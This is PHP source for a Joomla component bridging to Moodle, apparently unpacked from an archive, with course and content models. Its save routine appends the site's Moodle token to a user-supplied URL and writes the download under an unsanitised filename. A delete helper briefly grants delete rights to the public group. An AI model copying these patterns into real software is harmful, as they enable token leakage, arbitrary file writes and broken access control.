			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->type) &&
!is_numeric($this->table->type))
			{
				$this->table->type =
$this->generateUnique('type',$this->table->type);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('content');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}


/***[JCBGUI.admin_view.php_save.133.$$$$]***/
  $params = JComponentHelper::getParams('com_moojla');
  $moodle_token = trim($params->get('moodle_token'));
  $url = $data["fileurl"];
  $url = str_replace("?forcedownload=1", "", $url);
  $url .= "?token=" . $moodle_token;

  $file_name = $data["filename"];
  if(file_put_contents(JPATH_COMPONENT_ADMINISTRATOR .
"/donwnloaded/" . $file_name,file_get_contents($url))) { 
    $data["file"] = JPATH_COMPONENT_ADMINISTRATOR .
"/donwnloaded/" . $file_name;
  } 
  else { 
    $data["file"] = "File downloading failed."; 
  } /***[/JCBGUI$$$$]***/

        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/contents.php000064400000020177151165724400010411 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		contents.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Contents Model
 */
class MoojlaModelContents extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.contents_module_id','contents_module_id',
				'a.mimetype','mimetype'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$contents_module_id = $this->getUserStateFromRequest($this->context
. '.filter.contents_module_id',
'filter_contents_module_id');
		if ($formSubmited)
		{
			$contents_module_id =
$app->input->post->get('contents_module_id');
			$this->setState('filter.contents_module_id',
$contents_module_id);
		}

		$mimetype = $this->getUserStateFromRequest($this->context .
'.filter.mimetype', 'filter_mimetype');
		if ($formSubmited)
		{
			$mimetype = $app->input->post->get('mimetype');
			$this->setState('filter.mimetype', $mimetype);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();
        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_content',
'a'));

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.file LIKE '.$search.')');
			}
		}

		// Filter by Contents_module_id.
		$_contents_module_id =
$this->getState('filter.contents_module_id');
		if (is_numeric($_contents_module_id))
		{
			if (is_float($_contents_module_id))
			{
				$query->where('a.contents_module_id = ' . (float)
$_contents_module_id);
			}
			else
			{
				$query->where('a.contents_module_id = ' . (int)
$_contents_module_id);
			}
		}
		elseif (MoojlaHelper::checkString($_contents_module_id))
		{
			$query->where('a.contents_module_id = ' .
$db->quote($db->escape($_contents_module_id)));
		}
		// Filter by Mimetype.
		$_mimetype = $this->getState('filter.mimetype');
		if (is_numeric($_mimetype))
		{
			if (is_float($_mimetype))
			{
				$query->where('a.mimetype = ' . (float) $_mimetype);
			}
			else
			{
				$query->where('a.mimetype = ' . (int) $_mimetype);
			}
		}
		elseif (MoojlaHelper::checkString($_mimetype))
		{
			$query->where('a.mimetype = ' .
$db->quote($db->escape($_mimetype)));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' .
$this->getState('filter.contents_module_id');
		$id .= ':' . $this->getState('filter.mimetype');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_content'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_content'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/course.php000064400000102056151165724400010051 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Course Model
 */
class MoojlaModelCourse extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'cat_id',
				'cat_name',
				'currency',
				'self_enrolment',
				'startdate',
				'summary_files',
				'teachers'
			),
			'right' => array(
				'cost',
				'remoteid',
				'guest',
				'in_enrol_date',
				'enddate',
				'summary'
			),
			'above' => array(
				'alias',
				'shortname',
				'fullname',
				'permanent_fields',
				'catid'
			)
		),
		'video' => array(
			'left' => array(
				'useglobalvideo',
				'videotype',
				'preventdownload',
				'addcontrols',
				'preloadvideo',
				'autoplay',
				'muted'
			)
		),
		'moodle_access' => array(
			'left' => array(
				'availabilityinfolink',
				'redirect_after_enrol',
				'showlogintab',
				'loginurl',
				'alterurl',
				'enterlbl',
				'buylbl'
			),
			'right' => array(
				'cangotomoodle',
				'popupbutton',
				'showregtab',
				'registrationurl',
				'loginlbl',
				'freeenterlbl',
				'enrollbl'
			)
		),
		'audio' => array(
			'left' => array(
				'useglobalaudio',
				'preventdownloadaudio',
				'preloadaudio',
				'autoplayaudio'
			)
		),
		'templates' => array(
			'left' => array(
				'course_templatestyle_forcourseconfig'
			),
			'right' => array(
				'course_detail_layout'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.course';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'course', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}


/***[JCBGUI.admin_view.php_model.129.$$$$]***/
  public function myDelete($pk){
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('rules',
'id')));
    $query->from($db->quoteName('#__assets'));
    $query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
    $db->setQuery($query);
    $results = $db->loadObjectList();

    $acls = json_decode($results[0]->rules);

    $deleteAcl = null;
    $permission = 'core.delete';
    if(!property_exists($acls, $permission))
    {
      $acls->$permission = new stdClass();
    }

    $pub = '1';

    $acls->$permission->$pub = 1;
    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = json_encode($acls);
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    $obj = new stdClass();
    $obj->id = $pk;
    $obj->published = -2;
    JFactory::getDbo()->updateObject('#__moojla_course', $obj,
'id'); // trash item

    $pks = array($pk);
    $res = $this->delete($pks);

    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = $results[0]->rules;
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    return $res;
  }


  public function setFieldValue($fieldId, $itemId, $value)
  {
    JLoader::register('FieldsHelper',
JPATH_ADMINISTRATOR.'/components/com_fields/helpers/fields.php');
    JLoader::register('FieldsModelField',
JPATH_ADMINISTRATOR.'/components/com_fields/models/field.php');
    $fieldModle = new FieldsModelField;

    $field  = $fieldModle->getItem($fieldId);
    $params = $field->params;

    if (is_array($params))
    {
      $params = new Registry($params);
    }

    $needsDelete = false;
    $needsInsert = false;
    $needsUpdate = false;

    $oldValue = $fieldModle->getFieldValue($fieldId, $itemId);
    $value    = (array) $value;

    if ($oldValue === null)
    {
      // No records available, doing normal insert
      $needsInsert = true;
    }
    elseif (count($value) == 1 && count((array) $oldValue) == 1)
    {
      // Only a single row value update can be done when not empty
      $needsUpdate = is_array($value[0]) ? count($value[0]) :
strlen($value[0]);
      $needsDelete = !$needsUpdate;
    }
    else
    {
      // Multiple values, we need to purge the data and do a new
      // insert
      $needsDelete = true;
      $needsInsert = true;
    }

    if ($needsDelete)
    {
      // Deleting the existing record as it is a reset
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);

      $query->delete($query->qn('#__fields_values'))
        ->where($query->qn('field_id') . ' = ' .
(int) $fieldId)
        ->where($query->qn('item_id') . ' = ' .
$query->q($itemId));

      $db->setQuery($query)->execute();
    }

    if ($needsInsert)
    {
      $newObj = new stdClass;

      $newObj->field_id = (int) $fieldId;
      $newObj->item_id  = $itemId;

      foreach ($value as $v)
      {
        $newObj->value = $v;
        $db = JFactory::getDbo();
        $db->insertObject('#__fields_values', $newObj);
      }
    }

    if ($needsUpdate)
    {
      $updateObj = new stdClass;

      $updateObj->field_id = (int) $fieldId;
      $updateObj->item_id  = $itemId;
      $updateObj->value    = reset($value);
      $db = JFactory::getDbo();
      $db->updateObject('#__fields_values', $updateObj,
array('field_id', 'item_id'));
    }

    FieldsHelper::clearFieldsCache();

    return true;
  }
/***[/JCBGUI$$$$]***/

    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}

			if (!empty($item->permanent_fields))
			{
				// Convert the permanent_fields field to an array.
				$permanent_fields = new Registry;
				$permanent_fields->loadString($item->permanent_fields);
				$item->permanent_fields = $permanent_fields->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.course',
'course', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.course.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/course.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('course.delete',
'com_moojla.course.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.course.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.
		$user = JFactory::getUser();

		return $user->authorise('course.edit',
'com_moojla.course.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or $user->authorise('course.edit', 
'com_moojla');
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_course'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.course.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.course', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return array('remoteid');
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{

/***[JCBGUI.admin_view.php_before_delete.129.$$$$]***/
  require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/course.php";
  require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/section.php";
  require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/module.php";
  require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/content.php";
  foreach($pks as $id)
  {
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('remoteid')))
      ->from($db->quoteName('#__moojla_course'))
      ->where($db->quoteName('id') . ' = ' .
$id);
    $db->setQuery($query);
    $courseid = $db->loadResult();

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('id',
'section_id')))
      ->from($db->quoteName('#__moojla_section'))
      ->where($db->quoteName('courseid') . ' = '
. $courseid);
    $db->setQuery($query);
    $moojlasectionids = $db->loadObjectList();
    foreach($moojlasectionids as $section)
    {
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $query->select($db->quoteName(array('id',
'module_id')))
        ->from($db->quoteName('#__moojla_module'))
        ->where($db->quoteName('module_section_id') .
' = ' . $section->section_id);
      $db->setQuery($query);
      $moojlamoduleids = $db->loadObjectList();
      foreach($moojlamoduleids as $module)
      {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select($db->quoteName(array('id')))
          ->from($db->quoteName('#__moojla_content'))
          ->where($db->quoteName('contents_module_id') .
' = ' . $module->module_id);
        $db->setQuery($query);
        $moojlacontentids = $db->loadObjectList();
        foreach($moojlacontentids as $content)
        {
          $contentIns = new MoojlaModelContent();
          $contentIns->myDelete($content->id);
        }
        $moduleIns = new MoojlaModelModule();
        $moduleIns->myDelete($module->id);
      }
      $sectionIns = new MoojlaModelSection();
      $sectionIns->myDelete($section->id);
    }
  }
/***[/JCBGUI$$$$]***/

		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
